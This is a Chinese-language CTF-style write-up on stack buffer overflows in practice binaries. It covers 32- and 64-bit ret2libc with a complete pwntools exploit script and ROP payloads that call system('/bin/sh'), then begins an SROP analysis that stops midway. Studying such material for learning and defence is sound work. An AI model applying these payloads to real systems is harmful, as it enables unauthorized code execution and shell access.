1. 32位有system()和/bin/sh
先拖进Ghidra中静态分析, 主函数如下所示:
undefined4 main(void) {
char local_20 [20];
undefined *local_c;
local_c = &stack0x00000004;
puts("Maybe you need /bin/sh");
gets(local_20);
return 0;
}
符号表里看到有system
函数, 地址0x08048340
字符串搜索, 看到有"/bin/sh", 地址0x08048566 (0x08048557 + 15):
命令cyclic 200
生成测试溢出偏移量用的字符串, gdb ./ret2libc_x86
开启动态调试, 输入测试字符串, 得到crash时的EIP
的值为"haaa":
命令cyclic -l haaa
得到偏移量为28.
构造payload:
payload = b'\x90' * 28 + p32(0x08048340) + p32(0x90) + p32(0x08048566);
#payload = b'\x90' * 28 + p32(0x08048340) + p32(0x90) + b"/bin/bash"; #这是错误的
注意, 这里为system()
准备参数的时候, 应该准备字符串"/bin/sh"的地址值(指针)而不是字符串本身.
另外, 对这里的system
地址做一个解释说明:
call
指令实际上让cpu做了三件事: 保存现场/ 加载下一条指令地址/ 跳转执行. 所以在布局内存的时候, 根据system
函数地址的不同, 有两种做法:
- 使用
call system
的地址: 直接布局call_system_addr + bin_sh_addr
即可; - 使用
jmp _system
的地址: 需要布局push eip
, 即:jump_system_addr + p32(stub) + bin_sh_addr
exp.py如下:
from pwn import *
p = process("./ret2libc2_x86");
offset = 28
jumpsys = 0x08048340
binsh = 0x08048566
# 这里的0x08048340调用的是jmp指令, 所以需要放置一个32位的任意数字用来占位
# 当然, 为了通用, 完全可以用binsh来占位, 这样无论是jmp还是call都可以通用了.
payload = b'\x90' * offset + p32(jumpsys) + p32(0x90) + p32(binsh);
# payload = b'\x90' * offset + p32(callsys) + p32(binsh ) + p32(binsh);
p.recvuntil(b"Maybe you need /bin/sh");
p.sendline(payload);
p.interactive();
2. 64位有system()和/bin/sh
和32位的区别就在于64位的调用约定是用寄存器传参
依然是Ghidra静态分析, 先看看主函数:
undefined8 main(void) {
char local_18 [16];
puts("Maybe you need /bin/sh");
gets(local_18);
return 0;
}
直接在符号表里找到call system()
的地址 0x00400480:
这次用工具ROPgadget
辅助查找地址, 不用Ghidra手动查找了.
查找字符串"/bin/sh"地址(0x0040069a):
ROPgadget --binary ./ret2libc2 --string '/bin/sh'
# 0x000000000040069a
查找指令pop rdi
用于传参:
ROPgadget --binary ./ret2libc2 | grep 'pop rdi'
#0x0000000000400663 : pop rdi ; ret
计算偏移量(16+8=24):
cyclic -n 8 100 #生成64位的fuzz(其实32位的也可以用, 效果一样)
cyclic -n 8 -l caaaaaaa # 用rbp计算, 需要再加8个字节
# 16
cyclic -n 8 -l daaaaaaa # 用rsp计算, 直接就是正确的
# 24
构造payload:
payload = b'\x90' * 24 + p64(0x00400663) + p64(0x0040069a) + p64(0x00400480);
srop
参考资料: SROP_「二进制安全pwn基础」 - 网安 (wangan.com)
拖到Ghidra里, 程序代码简单的很啊:
undefined [16] entry(void) {
syscall();
return ZEXT816(0x400) << 0x40;
}
汇编:
# entry XREF[3]: Entry Point (*) , 00400018 (*) ,
XOR RAX ,RAX # rax赋值为0
MOV EDX ,0x400 # edx表示读数据长度, 设置为0x400
MOV RSI ,RSP # rsi为buffer地址, 设置为栈顶
MOV RDI ,RAX # rdi为fd, 赋值为0表示标准输入
SYSCALL
RET
有syscall
, 此时就需要查系统调用的表了, 附件在此
rax
为0, 系统调用接口如下所示:
no | Name | rax | rdi | rsi | rdx | rcx | r8 |
---|---|---|---|---|---|---|---|
0 | read | 0x00 | unsigned int fd | char *buf | size_t count | - | - |
Linux手册中记录的该函数的作用: read(2) - Linux manual page (man7.org)
RETURN VALUE
On success, the number of bytes read is returned (zero indicates end of file), and the file position is advanced by this number.
On error, -1 is returned, and errno is set to indicate the error. In this case, it is left unspecified whether the file position (if any) changes.
关于fd, 如File descriptor - Wikipedia中所述, fd为0表示"标准输入"
x64调用约定中, 返回值由寄存器rax
存储. 因此通过控制输入长度可以控制寄存器rax
的值.
虽然这个程序很短小, 但是它给与了我们操作栈/控制寄存器的能力, 而且存在显式的系统调用代码. 因此, 完全可以构造ROP利用链来实现溢出攻击.
偏移量计算为0. ROPgadget
命令查找不到可利用的字符串, 因此需要设法向内存中写入字符串"/bin/bash". 此外, 同样不存在直接向寄存器中赋值的指令, 只有指令syscall
可以利用.
尝试将字符串写到栈上, 但在此之前需要知道栈的地址.
系统调用write
可以用来将地址写出到标准输出, 正好程序中也存在指令mov rsi,rsp
, 可以利用write
写出栈顶地址. 恰巧执行系统调用时rax
和rdi
两个寄存器的值保持同步, 而rax
为1时表示write
/ rdi
为1时表示"标准输出"(怎么会这么巧呢?😏)
no | Name | rax | rdi | rsi | rdx | rcx | r8 |
---|---|---|---|---|---|---|---|
1 | write | 0x01 | unsigned int fd | char *buf | size_t count | - | - |
DESCRIPTION write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.